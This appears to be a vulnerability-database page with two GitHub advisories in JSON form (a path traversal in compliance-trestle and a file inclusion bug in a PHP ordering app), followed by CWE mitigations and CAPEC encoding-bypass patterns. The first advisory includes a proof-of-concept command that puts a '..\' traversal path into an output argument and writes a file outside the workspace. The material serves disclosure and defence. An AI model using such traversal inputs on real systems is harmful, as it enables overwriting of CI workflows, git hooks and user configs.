- overwriting
.github/workflows/*.ymlto execute attacker-controlled GitHub Actions workflows - overwriting
.git/hooks/*for local code execution - modifying user configuration files such as
.bashrc - tampering with repository files and generated compliance artifacts
In CI/CD environments, this may result in execution of attacker-controlled commands on build runners.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46345"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-36",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T17:44:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**Relevant Products/Components:**\n\n* `trestle/core/commands/author/jinja.py`\n* `trestle author jinja`\n\n---\n\n## Detailed Description:\n\nThe `-o/--output` argument in `trestle author jinja` allows writing files outside the intended workspace.\n\nThe application does not properly validate:\n\n* `../`\n* `..\\`\n* absolute paths\n\nThis allows arbitrary file write to attacker-controlled locations.\n\nVulnerable code:\n\n```python\noutput_file = trestle_root / r_output_file\n```\n\nAn attacker can overwrite files such as:\n\n* `.github/workflows/*.yml`\n* `.git/hooks/*`\n* user writable config files\n\nThis can lead to CI/CD compromise or local code execution.\n\n---\n\n## Steps To Reproduce:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/oscal-compass/compliance-trestle.git\ncd compliance-trestle\n```\n\n2. Create template:\n\n```bash\necho \"hello\" \u003e template.j2\n```\n\n3. Run:\n\n```powershell\ntrestle author jinja -i template.j2 -o \"subdir\\..\\..\\..\\..\\..\\poc.txt\"\n```\n\n4. Observe:\n\n```powershell\ndir E:\\poc.txt\n```\n\nThe file is written outside the repository workspace.\n\n---\n\n## Browsers Verified In:\n\nNot browser related.\n\nTested on:\n\n* Windows 11\n* Python 3.13\n\n---\n\n## Supporting Material/References:\n\nAffected file:\n\n```text\ntrestle/core/commands/author/jinja.py\n```\n\nSuccessfully verified:\n\n* directory traversal using `../`\n* Windows traversal using `..\\`\n* arbitrary file write outside workspace\n\n---\n\n## Access Vector Required for Exploitation:\n\nLocal\n\n---\n\n## Vulnerability Exists in Default Configuration?:\n\nYes\n\n---\n\n## Is the exploitation trivial or does it involve a multi-step process that may depend on user/victim interaction?:\n\nTrivial.\nSingle command execution.\n\n---\n\n## Exploitation Requires Authentication?:\n\nNo\n\n---\n\n## Under what privileges does the vulnerable service or component run?:\n\nRuns with privileges of the user executing the `trestle` command.\n\n## Impact\n\nAn attacker can write files outside the intended workspace directory and overwrite sensitive files writable by the current user.\n\nPossible impacts include:\n\n* overwriting `.github/workflows/*.yml` to execute attacker-controlled GitHub Actions workflows\n* overwriting `.git/hooks/*` for local code execution\n* modifying user configuration files such as `.bashrc`\n* tampering with repository files and generated compliance artifacts\n\nIn CI/CD environments, this may result in execution of attacker-controlled commands on build runners.",
"id": "GHSA-4q5v-7g7x-j79w",
"modified": "2026-05-28T17:44:03Z",
"published": "2026-05-28T17:44:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-4q5v-7g7x-j79w"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "compliance-trestle - jinja has an Arbitrary File Write via Path Traversal"
}
GHSA-4WH8-2PQJ-9GW4
Vulnerability from github – Published: 2026-06-03 03:30 – Updated: 2026-06-03 03:30A vulnerability was detected in SourceCodester Online Food Ordering System 2.0. Affected by this issue is the function include of the file /index.php. The manipulation of the argument page results in file inclusion. The attack can be launched remotely. The exploit is now public and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-10694"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T01:16:23Z",
"severity": "MODERATE"
},
"details": "A vulnerability was detected in SourceCodester Online Food Ordering System 2.0. Affected by this issue is the function include of the file /index.php. The manipulation of the argument page results in file inclusion. The attack can be launched remotely. The exploit is now public and may be used.",
"id": "GHSA-4wh8-2pqj-9gw4",
"modified": "2026-06-03T03:30:24Z",
"published": "2026-06-03T03:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10694"
},
{
"type": "WEB",
"url": "https://github.com/Mikkoseven/cve/issues/4"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10694"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/830903"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367963"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367963/cti"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.